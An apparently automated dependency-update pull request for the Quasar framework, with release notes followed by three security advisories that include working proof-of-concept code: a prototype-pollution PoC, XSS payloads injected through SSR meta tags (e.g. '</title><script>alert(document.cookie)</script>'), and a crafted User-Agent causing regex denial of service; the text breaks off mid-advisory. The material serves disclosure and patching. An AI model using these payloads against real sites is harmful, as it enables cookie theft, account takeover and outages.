Compare Source

New

Converted "quasar" package internal build system to ESM (built dist/*.js are now renamed).
Will require these minimum CLI/plugin versions (if using any of the following):

  • q/app-vite v1.9+ / v2.0.0-beta.12+
  • q/app-webpack v3.13+ / v4.0.0-beta.13+
  • q/vite-plugin v1.7+
  • vite-cli-plugin-quasar v5.1+

If you have hard-coded imports from quasar/lang or quasar/icon-set with the extension specified (eg. quasar/lang/de.mjs) please change the extension to .js.

Fixes

  • fix(QDate): direction declaration (#​17145)
  • fix(QCarousel): declare navigationPosition before using it
  • fix(QBtnDropdown/QBtn): declared properties (btn related & router-link related)
  • fix(QTooltip): should not end up with "context-menu" as prop after injecting useAnchor composable
  • fix(QField/QFile/QInput/QSelect): declare "maxlength" prop only for components using it; popupShow & popupHide should be declared only for QSelect; correctly override virtualScrollItemSize for QSelect; correctly override modelValue for QInput
  • fix(QDate/QTime): harden the modelValue validation
  • fix(QTooltip): correctly override transition props definition
  • fix(QEditor): remove unused emit (mouseup, keyup, touchend)
  • fix(QOptionGroup): add "type" for "type" prop definition
  • fix(QFab/QFabAction): QFab > hideLabel prop definition; JSON fixes on default values
  • fix(QInnerLoading): size prop default value & JSON type
  • fix(QSlider): remove unused prop (hideSelection); JSON > model-value default value
  • fix(QSplitter): "dark" definition
  • fix(QPageScroller): "offset" prop definition
  • fix(ui): multiple components > scrollTarget prop definition

JSON fixes

  • fix(QCircularProgress): JSON > font-size should not have a default value
  • fix(QDrawer): JSON > mini-width wrong default value
  • fix(QEditor): JSON > "toolbar" & "paragraph-tag" default values
  • fix(QImg): JSON > initial-ratio wrong default value
  • fix(QKnob): JSON > some prop default values
  • fix(QKnob): JSON > missing "rounded" prop definition
  • fix(QPage): JSON > style-fn default value and examples
  • fix(QPagination): JSON > some default values
  • fix(QParallax): JSON > speed default value
  • fix(QPopupEdit): JSON > "validate" default value & examples
  • fix(QRange): JSON > model-value default value
  • fix(QSelect): JSON > missing "maxlength" prop definition; "tabindex" missing default value
  • fix(QSeparator): JSON > "spaced" default value
  • fix(QSkeleton): JSON > "animation-speed" default value
  • fix(QSpinner/...): JSON structure; JSON > "size" type definition
  • fix(QTabPanels): JSON > missing "dark" prop definition
  • fix(QTable): JSON > some props default values
  • fix(QTimeline): JSON > "color" prop default value
  • fix(QTree): JSON > filter-method default value & examples
  • fix(useRouterLink): JSON > active-class and exact-active-class default values
  • fix(QCarousel/QEditor/QTable): JSON > missing "update:fullscreen" event definition
  • fix(useValidate): JSON > lazy-rules default value
  • fix(QCarousel/QStepper/QTabPanels): JSON > model-value should be "required"
  • fix(QCarousel): JSON > some default values
  • fix(ui): JSON > model-value definition for QBtnDropdown/QDialog/QDrawer/QExpansionItem/QFab/QMenu/QTooltip/QFab
  • fix(QCheckbox/QToggle): JSON > model-value default value
  • fix(QTable/QVirtualScroll): JSON > "virtualScrollSliceSize" default value; QVirtualScroll "items-size" default value
  • fix(QRadio): JSON > "model-value" & "val" types

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.15.4

Compare Source

Changes

  • fix(AppFullscreen): JSON -> set activeEl and isActive as "reactive"
  • fix(useRenderCache): correctly clear cache; correctly check for property
  • fix(Platform): ios always undefined (#​17130)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.15.3

Compare Source

New

  • feat(ui): expose IconSet as a regular Quasar plugin (import { IconSet } from 'quasar')
  • feat(ui): expose Lang as a regular Quasar plugin (import { Lang } from 'quasar')
  • feat(ui): tweak JSONs, add new props & enforce more validations on building them
  • feat(ui/format): humanStorageSize -> new extra param (decimals) -> (value, decimals = 1)
  • feat(LocalStorage/SessionStorage): add "hasItem", "removeItem", "setItem" aliases (matches web storage specs) #​17109
  • refactor(ui): folder structure for plugins & utils & composables

Fixes

  • fix(ui): the UMD generated icon-set files in dist/icon-set
  • fix(QDialog): focus() method should correctly handle the selector param (if received)
  • fix(QBtn): the "click()" method should not trigger anything if QBtn is disabled
  • fix(Platform): Safari version number detection #​17111
  • fix(ui): make capacitor/cordova config properties type optional (#​17056)
  • fix(ui): QTooltip & use-anchor JSON -> removed some erroneous "values" keys
  • fix(QField/QFile/QInput/QSelect): JSON -> correctly define the "name" prop
  • fix(QTabPanel): JSON > remove "dark" prop (not a valid prop)
  • fix(QSelect/QVirtualScroll): add type "Component" to some JSON "ref"
  • fix(lang): ukrainian translate "editor.outdent" (#​17083)
  • fix(LocalStorage/SessionStorage): JSON definition for getIndex()
  • fix(SessionStorage/LocalStorage): better encoding/decoding for Date objects
  • fix(QChip): JSON > add missing "update:model-value" event

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.15.2

Compare Source

Changes

  • feat(QDialog/QMenu): ease testing of teleported content
  • fix(ui): useInterval was not correctly exported #​17021
  • fix(ui): Platform on Edge should be normalized to 'edge' #​17039
  • fix(QExpansionItem): header-slot scope > detailsId is always undefined
  • fix(QCarouselSlide): JSON API - duplicated examples for "name" prop
  • chore(ui): move directives into individual folders (preparing the new testing)
  • chore(ui): move plugins into individual folders (prepare the new testing)

Example of how you can target the teleported content of a QDialog/Qmenu in your testing:

const wrapper = mount(QDialog, { ... })
const teleportedWrapper = wrapper.findComponent({ name: 'QPortal' })

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.15.1

Compare Source

Changes

  • feat(ui): NEW composable -> useInterval() #​17000
  • fix(QColor): slider triggers "Uncaught RangeError: Maximum call stack size exceeded" in onHueChange (fix #​16999) (#​17001)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.15.0

Compare Source

New

  • feat(ui): new composable: useRenderCache()
  • feat(ui): new composable: useTick()
  • feat(ui): new composable: useTimeout()
  • feat(ui): new composable: useSplitAttrs()
  • feat(ui): new composable: useHydration()
  • feat(ui): new composable - useId() #​16792
  • feat(QImg): new prop -> error-src (String)
  • feat(QSelect): new prop: popup-no-route-dismiss (Boolean) #​6420
  • feat(QDialog): new prop: backdrop-filter (String) #​16971
  • perf(QColor): small tweak: refactor some events without useCache()

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.7

Compare Source

Changes

  • feat(ui): new language pack - ms-MY (#​16977)
  • fix(ui): add missing api/types for VIntersection (fix: #​16867) (#​16958)
  • chore(ui): remove obsolete "stylint ignore" comments

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.6

Compare Source

New

  • feat(QImg): new prop -> loading-show-delay #​16932
  • feat(ui): new language - Tagalog(tl) (#​16943)
  • internal(ui): changed UI build system

Fixes

  • fix(ui): Platform -> use navigator.userAgentData.mobile when available + other tweaks #​16921
  • fix(ui): provide correct types for Quasar.lang (fix: #​14569) (#​16936)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.5

Compare Source

Fixes

  • fix+refactor(QCard): border radius management; add exceptions for QInnerLoading and QResizeObserver (with object) #​16909
  • chore(QNoSsr): small tweaks

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.4

Compare Source

Fixes

  • fix(QImg): correctly set "alt" prop on the img tag #​16886
  • fix(QSliderItem): avoid Vue reusing elements and thus wrongly assigning slot refs #​16902
  • fix(ui/lang): German Abbreviation for March potentially wrong #​16901

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.3

Compare Source

Fixes

  • Vue 3.4 --> fix(ui): Hydration issues with Vue 3.4 (QField/QInput/..., QBtnDropdown, QExpansionItem, QFab) #​16792
  • Vue 3.4 --> fix(Dark): [Vue 3.4] Hydration issue with Dark Quasar plugin on SSR #​16818
  • fix(QAjaxBar): fix infinite fetch loop in watchEffect #​16767 (#​16780)
  • fix(ui): expose updateScrollTarget method for QInfiniteScroll (#​16182)
  • fix(QTab): softError.message is undefined when opening tab with control-key #​16791
  • fix(QField/QInput/...): lazy validation breaks when clearable button is clicked #​16723

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.2

Compare Source

Fixes

  • fix(QSlider/QRange): when step is 0 -> QSlider key change is incorrect & QRange snaps to integer on dragRange #​16700
  • fix(QRange): dragRange interval when using inner-min/max
  • fix(a11y): remove aria-readonly from labels for QField, QCodeol, QDate, QEditor #​16705 (#​16708)
  • fix(QResizeObserver): trigger() method not attached correctly when using a native Observer #​16697
  • fix(QInput/QField/...): when lazy-rules -> should not trigger validation after first focusout and every input change
  • fix(Notify): allow exponential notation for the "timeout" value

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.1

Compare Source

Fixes

  • fix(QBtn): "stack" set to undefined should not affect icon spacing #​16494
  • fix(ui/lang): Update ms.mjs (#​16610)
  • fix(QSlider/QRange): slider value should start from innerMin instead of min on drag #​16614 (#​16615)
  • fix(QCircularProgress): #​16586 account for stroke-linecap behavior for rounded style (#​16593)
  • fix(QDate): the "today" btn should keep time from model when available (and not reset it) #​16623
  • fix(QTime): TS type for the return value of "options" prop #​16587
  • fix(QSelect): "option" slot has incorrect "selected" param value when the option is disabled #​16567

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.14.0

Compare Source

Changes

  • Upgraded to the latest Sass v1 specs -- this will allow you to use the latest Sass v1 features in your own code too!
  • fix(QImg): API - @error param definition #​16545

Possible breaking changes for Sass users!

When using Quasar UI (this package) with our Quasar CLI or our Vite plugin, it will require the latest Sass v1 (which has breaking changes -- though your Sass code will work albeit with deprecation banners on the console). It will be easy for you to upgrade to the newer Sass requirements for your code (and most might not even need anything changed). The console logs will tell you what lines to change and to what exactly. There is also a sass-migrator tool available (written by the Sass team).

We have postponed this moment as much as possible and we apologize for introducing this change in a minor version, but a major version for something so small is not really feasible nor desired (and again, it is due to Sass introducing changes in one of their minor versions).

If using Quasar CLI

Minimum quasar/app-vite supported version is v1.7.0
Minimum quasar/app-webpack supported version is v3.12.0

If using Vite or Vue CLI

Minimum "sass" version is v1.33.0 (although we recommend installing the very latest v1 available)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.13.1

Compare Source

New

Fixes

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.13.0

Compare Source

New

  • feat(ui): New Languages - de-CH, de-DE (#​16403)
  • feat(QTable): column definition -> new prop: rawSort() -- handles rows with null/undefined as value, as opposed to the classic "sort" prop #​16303

Fixes

  • feat(QTree): improve accessibility (#​16404) (#​16405)
  • fix(QTime): allow panning when model is empty #​16428
  • fix(QSelect): "input-debounce" prop should also affect the "input-value" event #​16377
  • fix(QSelect): backspace behavior #​16481
  • fix(QInput): when using mask then model is forced to empty string even if cleared (by clearable prop) #​16346
  • fix(QScrollArea): mouse events on contents trigger on first tap in iOS #​16210 (#​16211)
  • fix(ui/build): remove internal definitions from the API JSONs

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.7

Compare Source

Fixes

  • fix(QSlider): wrong ticks when inner-min is equal to inner-max #​16323
  • fix(QTree): Custom body slot is not hidden when using no-transition prop #​16318

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.6

Compare Source

Fixes

  • fix(ui): add ref property to QTable virtual-scroll event type (fix: #​16246) (#​16251)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.5

Compare Source

Fixes

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.4

Compare Source

New

  • feat(ui): Hindi (hi) language pack (#​16162)
  • feat(ui): add specific types for colors (#​16088)

Fixes

  • fix(QSelect): @​new-value event calling done() with no params does not empty the input box #​16159
  • fix(ui): update normalize css to include latest svg fix #​16132
  • fix(QInput): preserve common browser behavior when a mask is used (fix #​15801). (#​16112)
  • fix(ui): list actions in quasarConfOptions for Notify (#​16102)
  • fix(ui): QSpinnerComment, QSpinnerCube, QSpinnerFacebook, QSpinnerHourglass quirk #​16089 (#​16090)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.3

Compare Source

Fixes

  • fix(ui): correctly augment QuasarUIConfiguration type (fix: #​16046)
  • fix(ui): fix LoadingBar defaults type (#​16049)
  • fix(ui): allow dynamic names in QEditorSlots type (#​16069)
  • feat(ui): generate types for vue directives (#​16068)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.2

Compare Source

Fixes

  • fix(ui): menu/tooltip positioning quirk #​11247
  • fix(ui): click-outside triggered when tooltip is active in dialog, #​15974 (#​16023)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.1

Compare Source

Features

  • feat(ui): Improve fontawesome-v6-pro.mjs (#​15963)
  • feat(ui): Improve es.mjs language pack (#​15964)

Fixes

  • fix(QMenu/QTooltip): position engine quirk when target is not ready yet -- resulting in jumping menus/tooltips #​11247
  • fix(QEditor): Event names for link toolbar cause warning (#​15826)
  • fix(QSelect): ignore most key commands when QSelect is not editable #​15808 (#​15819)
  • fix(QTree): children type safety #​15991 (#​15992)
  • fix(ui): Loosen rules param type in ValidationRule
  • fix(QFile): incomplete union type in QRejectedEntry['failedPropValidation'] (#​15913)
  • fix(QUploader): exposed API is not reactive #​14967
  • fix(BottomSheet): actions > avatar typing #​15893
  • fix(ui): Mark QTable.pagination.sortBy as nullable (#​15881)
  • fix(QEditor): Event names for link toolbar cause warning (#​15826)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.12.0

Compare Source

New

  • perf(ui): faster comparisons throughout the UI
  • feat(ui): Add support for the Macedonian language in Quasar (#​15761)
  • feat(ui): Add type support for EventBus class (#​15759)
  • feat(QDrawer): add prop to disable mini animation (#​15670)
  • feat(QIntersection): add "hidden" slot #​15752

Fixes

  • fix(TouchSwipe): should not trigger if user is trying to select text with the mouse #​15503
  • fix(QTree): expandAll() should not duplicate the already expanded nodes #​15764
  • fix(QFile): use indexOf instead of findIndex in removeFile #​15727

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:


Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [quasar](https://quasar.dev) ([source](https://github.com/quasarframework/quasar/tree/HEAD/ui)) | [`2.11.10` → `2.32.2`](https://renovatebot.com/diffs/npm/quasar/2.11.10/2.32.2) | ![age](https://developer.mend.io/api/mc/badges/age/npm/quasar/2.32.2?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/quasar/2.11.10/2.32.2?slim=true) | --- ### Quasar: Prototype pollution in the extend() utility [CVE-2026-73647](https://nvd.nist.gov/vuln/detail/CVE-2026-73647) / [GHSA-3r53-75j5-3g7j](https://github.com/advisories/GHSA-3r53-75j5-3g7j) <details> <summary>More information</summary> #### Details ##### Summary `quasar@2.20.1`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root. When `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`. This can allow attacker-controlled properties to be written to `Object.prototype`. ##### Details Affected source: ```text src/utils/extend/extend.js ``` Distributed files include: ```text dist/quasar.server.prod.js dist/quasar.server.prod.cjs dist/quasar.client.js ``` The package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`. ##### PoC ```bash rm -rf /tmp/quasar-extend-pp-poc mkdir /tmp/quasar-extend-pp-poc cd /tmp/quasar-extend-pp-poc npm init -y >/dev/null npm install quasar@2.20.1 vue@3.5.31 >/dev/null cat > hack.mjs <<'JS' import { extend } from 'quasar'; delete Object.prototype.polluted; extend(true, {}, { ['__proto__']: { polluted: 'yes' } }); console.log(({}).polluted); delete Object.prototype.polluted; JS node ./hack.mjs ``` Observed output: ```text yes ``` Expected output: ```text undefined ``` ##### Impact This is a prototype pollution vulnerability. If an application passes user-controlled or partially user-controlled objects into `extend(true, ...)`, an attacker may be able to pollute `Object.prototype` in the same JavaScript process. Depending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact. ##### Suggested Fix Reject or safely ignore dangerous keys before assignment, including: ```text __proto__ prototype constructor ``` The merge implementation should also avoid descending into prototype-related properties during recursive merge. #### Severity - CVSS Score: 5.6 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L` #### References - [https://github.com/quasarframework/quasar/security/advisories/GHSA-3r53-75j5-3g7j](https://github.com/quasarframework/quasar/security/advisories/GHSA-3r53-75j5-3g7j) - [https://github.com/quasarframework/quasar/commit/d0a95d95ab3c29d13e1b8ba8c5e5025fd6ce35e7](https://github.com/quasarframework/quasar/commit/d0a95d95ab3c29d13e1b8ba8c5e5025fd6ce35e7) - [https://github.com/quasarframework/quasar](https://github.com/quasarframework/quasar) - [https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3r53-75j5-3g7j) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Quasar Framework: Stored/Reflected XSS via unescaped SSR meta tag rendering in getHead() [CVE-2026-106102](https://nvd.nist.gov/vuln/detail/CVE-2026-106102) / [GHSA-pq96-jpmf-w254](https://github.com/advisories/GHSA-pq96-jpmf-w254) <details> <summary>More information</summary> #### Details ##### Vulnerability Details **File**: `ui/src/utils/meta/Meta.js` — actually `ui/src/plugins/meta/Meta.js` (lines 149-176: `getAttr()` and `getHead()`) **Sink**: `injectServerMeta()` (same file) → `ctx.headTags += getHead(data)`, interpolated verbatim into the raw HTTP response `<head>` by the production SSR template (`app-vite/templates/entry/ssr-prod-webserver.js` + `app-vite/lib/plugins/vite.html.js`) **Entry point**: the public `useMeta()` composable (`ui/src/composables/use-meta/use-meta.js`) — the single documented way apps set page title/meta/link/script tags ##### Root Cause `getHead()` is Quasar's SSR-only serializer that turns the meta/link/script/title data collected from every `useMeta()` call into a literal HTML string, using plain template-literal interpolation with **zero HTML-entity escaping and zero attribute-quote escaping**: ```js function getAttr(seed) { return att => { const val = seed[att] return att + (val !== true && val !== void 0 ? `="${val}"` : '') } } function getHead(meta) { let output = '' if (meta.title) { output += `<title>${meta.title}</title>` } ... } ``` Contrast this with the client-side equivalent, `apply()` (same file, used only in the browser post-hydration), which builds the same tags via `document.createElement(...)` + `tag.setAttribute(att, val)` — the browser DOM API automatically escapes attribute values, so **the client-side path is not vulnerable**. `getHead()` is a separate, parallel implementation for the SSR case that never received the same protection. Any string containing `</title>`, `"`, or `>` in a `title`, `meta.*.content`, `link.*.href`, or any other attribute value passed to `useMeta()` breaks out of its intended HTML context and injects arbitrary markup — including a live `<script>` tag — directly into the raw HTML response sent to every visitor. ##### Attack Scenario 1. A Quasar SSR application renders dynamic page metadata via the standard, documented `useMeta()` pattern — e.g. `useMeta(() => ({ title: post.title, meta: { description: { name: 'description', content: post.excerpt } } }))` for a blog/CMS/product page. 2. An attacker who can influence that underlying text (submit a blog post/comment, set their own profile display name, control a field in an integrated CMS/API) sets it to `My Post</title><script>alert(document.cookie)</script>`. 3. On every SSR render of that page — for every visitor — `getHead()` emits this payload unescaped directly into the `<head>` of the raw HTML response. 4. The victim's browser parses the HTML top-to-bottom; the injected `<script>` executes immediately, before hydration, with full access to `document.cookie` and the DOM. ##### Impact - **Type**: CWE-79 Cross-Site Scripting - **Auth required**: No (attacker only needs to influence any text that reaches `useMeta()` — an extremely common pattern, e.g. blog titles, product names, user display names) - **Consequence**: Full client-side script execution in the victim site's origin — session/cookie theft, credential phishing overlays, account takeover, defacement. Unlike a typical XSS bug requiring a specific unusual injection point, this affects the single most common `useMeta()` use case (rendering any dynamic title/description), so it can be triggered even by ordinary content containing `&`, `<`, or `"` without malicious intent, in addition to being trivially exploitable deliberately. ##### Vulnerable Code (`ui/src/plugins/meta/Meta.js` lines 149-176) ```js function getAttr(seed) { return att => { const val = seed[att] return att + (val !== true && val !== void 0 ? `="${val}"` : '') } } function getHead(meta) { let output = '' if (meta.title) { output += `<title>${meta.title}</title>` } ;['meta', 'link', 'script'].forEach(type => { const metaType = meta[type] for (const att in metaType) { const attrs = Object.keys(metaType[att]) .filter(item => item !== 'innerHTML') .map(getAttr(metaType[att])) output += `<${type} ${attrs.join(' ')} data-qmeta="${att}">` if (type === 'script') { output += (metaType[att].innerHTML || '') + '</script>' } } }) return output } ``` ##### Recommended Fix ```js function escapeHtml(val) { return String(val) .replaceAll('&', '&amp;') .replaceAll('<', '&lt;') .replaceAll('>', '&gt;') .replaceAll('"', '&quot;') } function getAttr(seed) { return att => { const val = seed[att] return att + (val !== true && val !== void 0 ? `="${escapeHtml(val)}"` : '') } } function getHead(meta) { let output = '' if (meta.title) { output += `<title>${escapeHtml(meta.title)}</title>` } // ... rest unchanged, script innerHTML intentionally left raw (JSON-LD use case) } ``` ##### Verification Confirmed end-to-end on v2.21.1 via a local Node.js HTTP lab harness that imports the real, unmodified `Meta.js` source and reproduces the exact `useMeta()` → `injectServerMeta()` call sequence a real SSR app performs, reached via actual `curl` requests (not just isolated function calls): 1. `POST /submit` with `{"title":"My Post</title><script>alert(document.cookie)</script>","description":"\"><script>alert(document.domain)</script>"}` 2. `GET /render/1` returned a raw HTTP response whose `<head>` contained: `<title>My Post</title><script>alert(document.cookie)</script></title><meta name="description" content=""><script>alert(document.domain)</script>" data-qmeta="description">` 3. Verified via `grep`: 0 occurrences of `&lt;` (nothing was escaped), 1 occurrence of a literal, unescaped `<script>alert(...)</script>` tag in the actual HTTP response body. A fix branch (`fix/xss-meta-tag-escaping`) is ready with the minimal patch above (adds an `escapeHtml()` helper used in `getAttr()`/`getHead()`); re-running the same PoC against the patched code shows the payload fully HTML-entity-encoded (`&lt;script&gt;...`) with no live `<script>` tag, while normal titles containing `&` still render correctly (`&amp;`). #### Severity - CVSS Score: 10.0 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` #### References - [https://github.com/quasarframework/quasar/security/advisories/GHSA-pq96-jpmf-w254](https://github.com/quasarframework/quasar/security/advisories/GHSA-pq96-jpmf-w254) - [https://nvd.nist.gov/vuln/detail/CVE-2026-106102](https://nvd.nist.gov/vuln/detail/CVE-2026-106102) - [https://github.com/quasarframework/quasar/commit/11505afe5b5218f2c468f130181815b898fd1e40](https://github.com/quasarframework/quasar/commit/11505afe5b5218f2c468f130181815b898fd1e40) - [https://github.com/quasarframework/quasar](https://github.com/quasarframework/quasar) - [https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pq96-jpmf-w254) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server [CVE-2026-106104](https://nvd.nist.gov/vuln/detail/CVE-2026-106104) / [GHSA-68jq-fhch-4xq4](https://github.com/advisories/GHSA-68jq-fhch-4xq4) <details> <summary>More information</summary> #### Details ##### Summary One unauthenticated request with a crafted `User-Agent` stalls a Quasar SSR server for seconds. Quasar auto-installs its `Platform` plugin on every server-side render, and `Platform.parseSSR()` feeds the raw, unbounded `User-Agent` request header into a chain of backtracking regular expressions in `getMatch()`. One of those patterns contains a greedy capture followed by two unbounded `.*` scans, so a crafted header costs time proportional to the cube of its length. An 8 KB `User-Agent` blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline. ##### Details `Platform` is in the `autoInstalledPlugins` array in `ui/src/install-quasar.js`, so it is installed unconditionally by `app.use(Quasar, ...)`. The generated SSR entry (`app-vite/templates/entry/app.js`, called from `app-vite/templates/entry/server-entry.js`) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (`ui/src/plugins/platform/Platform.js`): ```js Platform.parseSSR = ssrContext => { const ua = ssrContext.req.headers['user-agent'] || ssrContext.req.headers['User-Agent'] || '' return { ...client, userAgent: ua, is: getPlatform(ua) } } ``` `getPlatform()` lowercases the string and passes it to `getMatch()` (`ui/src/plugins/platform/Platform.js:23-45`), which evaluates an ordered chain of `exec()` calls. The sixth alternative, at `ui/src/plugins/platform/Platform.js:32-34`, is the problem: ```js /(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent) ``` `([\w.]+)` is greedy and unbounded, and it is followed by two unbounded `.*` scans. When the input contains `webkit/`, many `version/` tokens, and no `safari/`, the pattern can only fail after the engine has tried every combination of "where `([\w.]+)` stops" against "which `version` occurrence the first `.*` lands on" against "how far the second `.*` searches for `safari`". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape. Measured on the functions loaded verbatim out of `ui/src/plugins/platform/Platform.js`, cost grows by a factor of eight for every doubling of the header: ``` UA 3998 B -> 554 ms UA 7998 B -> 4368 ms fits nginx default large_client_header_buffers 8k UA 15998 B -> 34995 ms fits Node.js default --max-http-header-size 16k ``` A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length. Client-side rendering is not affected: there `getPlatform()` only ever sees `navigator.userAgent`, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network. ##### PoC The vulnerable pattern ships in the published package. From `node_modules/quasar/dist/quasar.server.prod.js` of `quasar@2.23.1`: ``` function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||... ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||... I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``; return{...F,userAgent:t,is:P(t)}}; ``` Build the header: ```js const k = 3200 // filler that maximises the greedy capture const m = 479 // "version/" tokens for the first .* to land on const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m) // 7998 bytes ``` Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package: ```js import http from 'node:http' import { Platform } from 'quasar' // resolves to dist/quasar.server.prod.js http.createServer((req, res) => { const platform = Platform.parseSSR({ req, res }) // what app.use(Quasar, ...) does res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`) }).listen(3100, '127.0.0.1') ``` Results of driving that server with the 7998-byte header: ``` [1] BASELINE - normal browser UA benign UA, GET / status=200 13 ms benign UA, GET / (2nd) status=200 1 ms [2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length same-size benign UA status=200 2 ms [3] POSITIVE - crafted User-Agent malicious UA, GET / status=200 4355 ms [4] POSITIVE - crafted UA against a NON-EXISTENT route malicious UA, GET /404path status=200 4319 ms [5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later attacker (malicious UA) status=200 4329 ms VICTIM (normal browser, benign UA) status=200 4208 ms [6] SUSTAINED - 5 attacker requests in flight, victim loads the site VICTIM during 5-request flood status=200 21646 ms ``` Step 5 is the part that matters. The victim sends an ordinary request with an ordinary `User-Agent` and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability. Negative control on the library itself. One line changed in the installed `node_modules/quasar/dist/quasar.server.prod.js`: ``` - I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}}; + I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}}; ``` Re-running the identical attack against the patched build: ``` [3] malicious UA, GET / status=200 2 ms was 4355 ms [4] malicious UA, GET /404path status=200 2 ms was 4319 ms [5] VICTIM 